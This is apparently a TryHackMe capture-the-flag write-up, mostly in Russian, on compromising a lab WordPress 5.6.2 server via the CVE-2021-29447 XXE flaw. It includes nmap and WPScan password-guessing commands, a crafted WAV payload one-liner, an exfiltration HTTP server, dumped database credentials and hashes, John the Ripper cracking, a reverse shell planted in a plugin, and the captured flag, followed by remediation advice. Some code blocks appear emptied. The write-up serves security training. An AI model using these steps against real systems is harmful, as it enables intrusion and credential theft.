
The objective is to conduct a full-scale security assessment of a WordPress-based web application, culminating in a complete server compromise. The assessment will focus on exploiting a specific, real-world vulnerability (CVE-2021-29447) to achieve initial access.
Цель проекта: Продемонстрировать полную цепочку атаки на уязвимую установку WordPress, используя CVE-2021-29447 (XXE в медиатеке) для достижения удалённого выполнения кода и полной компрометации системы.
Фаза 1: Разведка и сбор информации Сканирование сети с помощью Nmap:
bash Быстрое SYN-сканирование для обнаружения открытых портов nmap -sS -T4 10.201.3.95
Детальное сканирование версий и скриптов nmap -sV -sC -p22,80,3306 10.201.3.95 -oA initial_scan Результаты:
text PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.2p2 Ubuntu 80/tcp open http Apache/2.4.18 (Ubuntu) |_http-generator: WordPress 5.6.2 3306/tcp open mysql MySQL 5.7.33 Сбор данных о WordPress с помощью WPScan:
bash Перебор пользователей wpscan --url http://10.201.3.95/ --enumerate u
Атака по словарю паролей wpscan --url http://10.201.3.95/ --usernames test-corp --passwords passwords.txt Полученные учётные данные:
Имя пользователя: test-corp | Пароль: test
Имя пользователя: corp-001 | Пароль: teddybear (взломан позже)
Фаза 2: Начальный доступ — эксплуатация XXE (CVE-2021-29447) Создание вредоносного WAV-файла:
bash echo -en 'RIFF\x85\x00\x00\x00WAVEiXML\x79\x00\x00\x00%remote;%param;%send;]>\x00' > payload.wav Внешняя DTD-нагрузка (yup.dtd):
xml
">HTTP-сервер для эксфильтрации данных:
bash python3 -m http.server 8000 PHP-скрипт для декодирования данных:
php
Извлечённые учётные данные базы данных:
php define('DB_NAME', 'wordpressdb2'); define('DB_USER', 'thedarktangent'); define('DB_PASSWORD', 'sUp3rS3cret132'); define('DB_HOST', 'localhost'); Фаза 3: Доступ к базе данных и сбор учётных данных Подключение к MySQL:
bash mysql -h 10.201.3.95 -u thedarktangent -p Выполненные SQL-запросы:
sql SHOW DATABASES; USE wordpressdb2; SHOW TABLES; SELECT user_login, user_pass FROM wptry_users; Полученные хэши пользователей:
text +------------+------------------------------------+ | user_login | user_pass | +------------+------------------------------------+ | corp-001 | $P$B4fu6XVPkSU5KcKUsP1sD3Ul7G3oae1 | | test-corp | $P$Bk3Zzr8rb.5dimh99TRE1krX8X85eR0 | +------------+------------------------------------+ Взлом паролей с помощью John the Ripper:
bash Создание файла с хэшами cat > wp_hashes.txt << EOF corp-001:$P$B4fu6XVPkSU5KcKUsP1sD3Ul7G3oae1 test-corp:$P$Bk3Zzr8rb.5dimh99TRE1krX8X85eR0 EOF
Взлом хэшей john --wordlist=/usr/share/wordlists/rockyou.txt wp_hashes.txt john --show wp_hashes.txt Взломанные пароли:
corp-001:teddybear
test-corp:test
Фаза 4: Повышение привилегий и удалённое выполнение кода Полезная нагрузка для обратного шелла (модифицированный плагин Hello Dolly):
php
Слушатель Netcat:
bash nc -nvlp 4444 Получен доступ к шеллу:
text Connection received on 10.201.3.95 42314 Linux ubuntu 4.4.0-210-generic #242-Ubuntu SMP uid=33(www-data) gid=33(www-data) groups=33(www-data) Фаза 5: Пост-эксплуатация (ожидание завершения) Команды для следующей сессии:
bash Поиск флагов find / -name flag.txt 2>/dev/null find / -name root.txt 2>/dev/null find / -name user.txt 2>/dev/null
Сбор данных для повышения привилегий sudo -l find / -perm -u=s -type f 2>/dev/null cat /etc/crontab ps aux uname -a cat /etc/os-release Результаты проверки безопасности и рекомендации Критические выявленные уязвимости:
CVE-2021-29447 — Обработка внешних XML-сущностей в медиатеке WordPress
Слабая политика паролей — Легко угадываемые пароли (test, teddybear)
Открытый доступ к базе данных — MySQL доступен удалённо
Устаревшее ПО — WordPress 5.6.2 с известными уязвимостями
Чрезмерные привилегии пользователей — Пользователи без прав администратора могут изменять плагины
Рекомендации по исправлению:
Немедленное обновление до последней версии WordPress
Внедрение строгой политики паролей и двухфакторной аутентификации
Ограничение доступа к базе данных только с localhost
Регулярное обновление безопасности и сканирование уязвимостей
Принцип минимальных привилегий для учётных записей
Статус проекта: 90% завершено — Получен обратный шелл, захват финального флага и повышение привилегий отложены до нового назначения IP.
ЧАСТЬ 2 ! ФЛАГ Финальная фаза: Пост-эксплуатация и захват флага Цель: Достичь полной компрометации системы и захватить финальный флаг.
Выполненные действия:
Активация обратного шелла:
Отредактирован файл плагина hello.php в панели администратора WordPress (/wp-admin/plugin-editor.php)
Вставлена полезная нагрузка для обратного шелла на PHP, настроенная на подключение к нашей машине Kali (10.201.6.187:4444)
Полезная нагрузка выполнена путём перехода по адресу: http://ip-10-201-46-113.ec2.internal/wp-content/plugins/hello.php
Успешный доступ к шеллу:
Получено соединение обратного шелла от пользователя www-data
Вывод шелла:
text Connection received on 10.201.46.113 46240 Linux ubuntu 4.4.0-210-generic #242-Ubuntu SMP uid=33(www-data) gid=33(www-data) groups=33(www-data) Исследование файловой системы:
Обнаружен каталог пользователя: /home/stux/
Найден каталог с флагом: /home/stux/flag/
Обнаружен файл флага: /home/stux/flag/flag.txt
Извлечение флага:
Выполнена команда: cat /home/stux/flag/flag.txt
Флаг захвачен: thm{28bd2a5b7e0586a6e94ea3e0adbd5f2f16085c}
Сводка полной цепочки атаки Фаза Использованная техника Результат
CVE-2021-29447 — Обработка внешних XML-сущностей в медиатеке WordPress
Слабая политика паролей — Легко угадываемые пароли (test, teddybear)
Чрезмерные привилегии пользователей — Пользователи без прав администратора могут изменять плагины
Устаревшее ПО — WordPress 5.6.2 с известными уязвимостями
Раскрытие информации — Учётные данные БД в wp-config.php
Рекомендации по безопасности:
✅ Немедленное обновление до последней версии WordPress
✅ Внедрение строгой политики паролей с двухфакторной аутентификацией
✅ Регулярное обновление безопасности и сканирование уязвимостей
✅ Принцип минимальных привилегий для учётных записей
✅ Ограничение функционала загрузки файлов и обработки XML
Заключение Проект Chimera успешно продемонстрировал полную цепочку атаки от начальной разведки до полной компрометации системы. Упражнение подчеркнуло, как, казалось бы, незначительная уязвимость в обработке XML (CVE-2021-29447) может быть объединена с плохими практиками безопасности для достижения полного захвата системы.
Проект подчеркнул важность:
Регулярного обновления ПО и управления патчами
Надёжных механизмов аутентификации
Правильного контроля доступа и управления привилегиями
Всестороннего мониторинга безопасности
Итоговый статус: ✅ 100% завершено — Все цели достигнуты, флаг захвачен: thm{28bd2a5b7e0586a6e94ea3e0adbd5f2f16085c}
Проект Chimera служит мощным напоминанием о том, что безопасность требует эшелонированной защиты, поскольку одна уязвимость может привести к полной компрометации системы в сочетании с другими недостатками безопасности.